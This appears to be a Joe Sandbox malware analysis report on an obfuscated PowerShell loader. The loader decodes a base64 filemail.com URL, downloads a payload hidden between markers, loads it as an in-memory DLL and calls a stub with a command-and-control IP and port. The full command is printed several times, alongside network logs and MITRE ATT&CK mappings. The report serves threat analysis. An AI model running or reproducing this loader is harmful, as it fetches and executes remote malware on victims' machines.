Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -executionpolicy bypass -windowstyle hidden -command "$base64url = 'ahr0chm6ly8zmta1lmzpbgvtywlslmnvbs9hcgkvzmlszs9nzxq/zmlszwtlet1ttdjfvg5jr0trcw9jqjz6thzjdk42ofrxx0zwzkm0r2g4vknnc3pfaurocvuzvvhfsf9vehyzy1v5c09vthbnjnbrx3zpzd1mzdrmnje0ymiymdljnjjjmtczmdg1mtq3mgewota0zg=='; $url = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($base64url)); $webclient = new-object system.net.webclient; $imagebytes = $webclient.downloaddata($url); $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); $startindex -ge 0 -and $endindex -gt $startindex; $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $dllbytes = [convert]::frombase64string($base64command); $assembly = [system.reflection.assembly]::load($dllbytes); [stub.main]::main('87.120.116.179', '1300');
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -executionpolicy bypass -windowstyle hidden -command "$base64url = 'ahr0chm6ly8zmta1lmzpbgvtywlslmnvbs9hcgkvzmlszs9nzxq/zmlszwtlet1ttdjfvg5jr0trcw9jqjz6thzjdk42ofrxx0zwzkm0r2g4vknnc3pfaurocvuzvvhfsf9vehyzy1v5c09vthbnjnbrx3zpzd1mzdrmnje0ymiymdljnjjjmtczmdg1mtq3mgewota0zg=='; $url = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($base64url)); $webclient = new-object system.net.webclient; $imagebytes = $webclient.downloaddata($url); $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); $startindex -ge 0 -and $endindex -gt $startindex; $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $dllbytes = [convert]::frombase64string($base64command); $assembly = [system.reflection.assembly]::load($dllbytes); [stub.main]::main('87.120.116.179', '1300');	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	21 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	11 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f	0%	Avira URL Cloud	safe
https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_ox	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ip.3105.filemail.com	193.30.119.205	true	false		high
3105.filemail.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.1683757384.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.1680463266.0000000004F27000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.1680463266.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.1680463266.0000000004F27000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000002.00000002.1680463266.00000000052A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000002.00000002.1683757384.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.1683757384.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000002.00000002.1683757384.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.1683757384.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_ox	powershell.exe, 00000002.00000002.1680463266.0000000004F27000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1680463266.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.1680463266.0000000004F27000.00000004.00000800.00020000.00000000.sdmp	false		high
https://3105.filemail.com	powershell.exe, 00000002.00000002.1680463266.0000000004F27000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.30.119.205	ip.3105.filemail.com	unknown		680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580965
Start date and time:	2024-12-26 14:33:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 1m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowscmdlinecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.evad.win@4/3@1/1
Cookbook Comments:	Stop behavior analysis, all processes terminated

Warnings

Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
08:34:15	API Interceptor	31x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
193.30.119.205	seemebestthings.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse
	Swiftcopy.xla.xlsx	Get hash	malicious	HTMLPhisher	Browse
	greatthingetniretimewithgoodnewgivenwhichgiventhnseethebest.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse
	Pedido No 4500924462.xls	Get hash	malicious	Unknown	Browse
	26-11-24_. AVIMAR SHIP CHANDLERS.xls	Get hash	malicious	HTMLPhisher	Browse
	List#U0103 de produse.xls	Get hash	malicious	HTMLPhisher	Browse
	Inquiry.js	Get hash	malicious	Unknown	Browse
	Shipping Document.xla.xlsx	Get hash	malicious	HTMLPhisher	Browse
	creamymilkburnwtithsweetheartshegivenmebestterthingswhichnewandshineforme.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse
	sweetbabygivenbestthignsetnirelifegivenbackbestthignsalways.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip.3105.filemail.com	seemebestthings.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	193.30.119.205
	Swiftcopy.xla.xlsx	Get hash	malicious	HTMLPhisher	Browse	193.30.119.205
	greatthingetniretimewithgoodnewgivenwhichgiventhnseethebest.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	193.30.119.205
	Pedido No 4500924462.xls	Get hash	malicious	Unknown	Browse	193.30.119.205
	26-11-24_. AVIMAR SHIP CHANDLERS.xls	Get hash	malicious	HTMLPhisher	Browse	193.30.119.205
	List#U0103 de produse.xls	Get hash	malicious	HTMLPhisher	Browse	193.30.119.205
	Inquiry.js	Get hash	malicious	Unknown	Browse	193.30.119.205
	Shipping Document.xla.xlsx	Get hash	malicious	HTMLPhisher	Browse	193.30.119.205
	creamymilkburnwtithsweetheartshegivenmebestterthingswhichnewandshineforme.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	193.30.119.205
	sweetbabygivenbestthignsetnirelifegivenbackbestthignsalways.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	193.30.119.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	xd.sh4.elf	Get hash	malicious	Mirai	Browse	141.56.238.150
	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	149.220.194.187
	armv7l.elf	Get hash	malicious	Mirai	Browse	141.25.236.193
	armv7l.elf	Get hash	malicious	Unknown	Browse	134.245.52.172
	armv4l.elf	Get hash	malicious	Mirai	Browse	137.250.86.225
	nklarm5.elf	Get hash	malicious	Unknown	Browse	141.46.56.219
	splarm.elf	Get hash	malicious	Unknown	Browse	139.17.85.136
	nabarm.elf	Get hash	malicious	Unknown	Browse	131.235.48.35
	nabx86.elf	Get hash	malicious	Unknown	Browse	87.77.144.191
	nabppc.elf	Get hash	malicious	Unknown	Browse	192.26.186.33

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://www.gglusa.us/	Get hash	malicious	Unknown	Browse	193.30.119.205
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	193.30.119.205
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	193.30.119.205
	TTsfmr1RWm.exe	Get hash	malicious	LummaC	Browse	193.30.119.205
	Dotc67890990.exe	Get hash	malicious	Snake Keylogger	Browse	193.30.119.205
	ciwa.mp4.hta	Get hash	malicious	LummaC, PureLog Stealer	Browse	193.30.119.205
	INQUIRY.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.30.119.205
	00000.ps1	Get hash	malicious	LummaC	Browse	193.30.119.205
	123.ps1	Get hash	malicious	LummaC	Browse	193.30.119.205

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul9kLZ:NllUG
MD5:	087D847469EB88D02E57100D76A2E8E4
SHA1:	A2B15CEC90C75870FDAE3FEFD9878DD172319474
SHA-256:	81EB9A97215EB41752F6F4189343E81A0D5D7332E1646A24750D2E08B4CAE013
SHA-512:	4682F4457C1136F84C10ACFE3BD114ACF3CCDECC1BDECC340A5A36624D93A4CB3D262B3A6DD3523C31E57C969F04903AB86BE3A2C6B07193BF08C00962B33727
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................,..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ra2ran4q.ejl.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s0dsinev.5ec.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 14:34:17.358308077 CET	49732	443	192.168.2.4	193.30.119.205
Dec 26, 2024 14:34:17.358408928 CET	443	49732	193.30.119.205	192.168.2.4
Dec 26, 2024 14:34:17.358561039 CET	49732	443	192.168.2.4	193.30.119.205
Dec 26, 2024 14:34:17.370520115 CET	49732	443	192.168.2.4	193.30.119.205
Dec 26, 2024 14:34:17.370562077 CET	443	49732	193.30.119.205	192.168.2.4
Dec 26, 2024 14:34:19.261478901 CET	443	49732	193.30.119.205	192.168.2.4
Dec 26, 2024 14:34:19.261569977 CET	49732	443	192.168.2.4	193.30.119.205
Dec 26, 2024 14:34:19.264638901 CET	49732	443	192.168.2.4	193.30.119.205
Dec 26, 2024 14:34:19.264672995 CET	443	49732	193.30.119.205	192.168.2.4
Dec 26, 2024 14:34:19.264897108 CET	443	49732	193.30.119.205	192.168.2.4
Dec 26, 2024 14:34:19.282789946 CET	49732	443	192.168.2.4	193.30.119.205
Dec 26, 2024 14:34:19.323365927 CET	443	49732	193.30.119.205	192.168.2.4
Dec 26, 2024 14:34:19.703537941 CET	443	49732	193.30.119.205	192.168.2.4
Dec 26, 2024 14:34:19.703861952 CET	443	49732	193.30.119.205	192.168.2.4
Dec 26, 2024 14:34:19.704031944 CET	49732	443	192.168.2.4	193.30.119.205
Dec 26, 2024 14:34:19.710958004 CET	49732	443	192.168.2.4	193.30.119.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 14:34:16.868259907 CET	63659	53	192.168.2.4	1.1.1.1
Dec 26, 2024 14:34:17.352931023 CET	53	63659	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 26, 2024 14:34:16.868259907 CET	192.168.2.4	1.1.1.1	0xadce	Standard query (0)	3105.filemail.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 26, 2024 14:34:17.352931023 CET	1.1.1.1	192.168.2.4	0xadce	No error (0)	3105.filemail.com	ip.3105.filemail.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 14:34:17.352931023 CET	1.1.1.1	192.168.2.4	0xadce	No error (0)	ip.3105.filemail.com		193.30.119.205	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

3105.filemail.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	193.30.119.205	443	6564	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 13:34:19 UTC	192	OUT	GET /api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f HTTP/1.1 Host: 3105.filemail.com Connection: Keep-Alive
2024-12-26 13:34:19 UTC	224	IN	HTTP/1.1 400 Bad Request Cache-Control: no-cache,no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: application/json; charset=utf-8 Expires: -1 Date: Thu, 26 Dec 2024 13:34:18 GMT Connection: close
2024-12-26 13:34:19 UTC	284	IN	Data Raw: 31 31 35 0d 0a 7b 22 76 61 6c 69 64 61 74 69 6f 6e 65 72 72 6f 72 73 22 3a 5b 7b 22 50 72 6f 70 65 72 74 79 4e 61 6d 65 22 3a 22 74 72 61 6e 73 66 65 72 69 64 22 2c 22 45 72 72 6f 72 43 6f 64 65 22 3a 22 50 72 65 64 69 63 61 74 65 56 61 6c 69 64 61 74 6f 72 22 2c 22 45 72 72 6f 72 4d 65 73 73 61 67 65 22 3a 22 69 73 20 69 6e 76 61 6c 69 64 22 7d 5d 2c 22 72 65 73 70 6f 6e 73 65 73 74 61 74 75 73 22 3a 22 49 6e 76 61 6c 69 64 52 65 71 75 65 73 74 22 2c 22 65 72 72 6f 72 69 64 22 3a 22 34 63 37 30 33 38 34 64 2d 65 33 38 30 2d 34 65 66 63 2d 61 35 61 65 2d 63 64 39 66 30 64 32 63 63 33 61 33 22 2c 22 65 72 72 6f 72 6d 65 73 73 61 67 65 22 3a 22 74 72 61 6e 73 66 65 72 69 64 20 2d 2d 3e 20 5b 50 72 65 64 69 63 61 74 65 56 61 6c 69 64 61 74 6f 72 5d 20 69 73 Data Ascii: 115{"validationerrors":[{"PropertyName":"transferid","ErrorCode":"PredicateValidator","ErrorMessage":"is invalid"}],"responsestatus":"InvalidRequest","errorid":"4c70384d-e380-4efc-a5ae-cd9f0d2cc3a3","errormessage":"transferid --> [PredicateValidator] is
2024-12-26 13:34:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:34:15
Start date:	26/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:34:15
Start date:	26/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:34:15
Start date:	26/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');
Imagebase:	0xbc0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

